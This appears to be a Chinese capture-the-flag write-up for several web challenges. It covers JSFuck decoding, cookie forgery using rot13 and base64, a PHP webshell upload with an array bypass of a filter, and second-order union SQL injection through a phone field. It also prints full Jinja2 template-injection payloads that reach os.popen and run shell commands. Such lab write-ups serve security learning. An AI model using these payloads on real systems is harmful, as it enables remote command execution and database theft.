broken
Jsfuck
直接console中跑发现报错
后面加个]
看到最后面的(),应该是函数调用,去掉
who are you?
设置cookie
还是没有权限,从cookie入手,base64解码
thrfg怎么看都没意义,后来想到rot13
嗯,改guest为admin,rot13->base64
用post上传,指定filename和data。
尝试上传php木马,发现会检测左尖括号。
尝试绕过无果,后来想到检测左尖括号可能可以用数组绕过
直接给flag
phone number
逻辑就是注册账号包括手机号信息,登录,check有多少个具有相同手机号的账号。
看到check页面中,
admin的电话藏有大秘密。
尝试账号密码注入失败,结合题目,应该是通过手机号注入的。
提交一般字符串,提示
,后面发现提交0e科学计数法和0x的hex编码可以绕过,insert点在注册的手机号这里,
输出点在check页面,可以insert注入。
而且是union注入。
数据库名webdb
表名为user
发现没有返回列名,然后看到
原来长度有限制,简化下
得到列名id,username,phone,password
拿数据,得flag.
Musee de X
scimg.jb51.net/allimg/150811/14-150Q1142KAF.jpg
报错信息中发现有jinja2
直接搜索python SSTI找到
{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()}}
这水印输出字符长度有限制。
{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59]}}
找到catch_warnings类了
{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('ls').read()}}
发现flag文件,已经发现水印输出中过滤了一些字符,可以猜测flag文件名为flag_8d294abea9f0,额,不用猜直接flag*。
{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('cat flag\_\*').read()}}
额,看不全,找张大图
http://pic1.win4000.com/wallpaper/d/58c0f570b231b.jpg
flag{06015a4f-8d29-4abe-a9f0-e1cb18911671}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com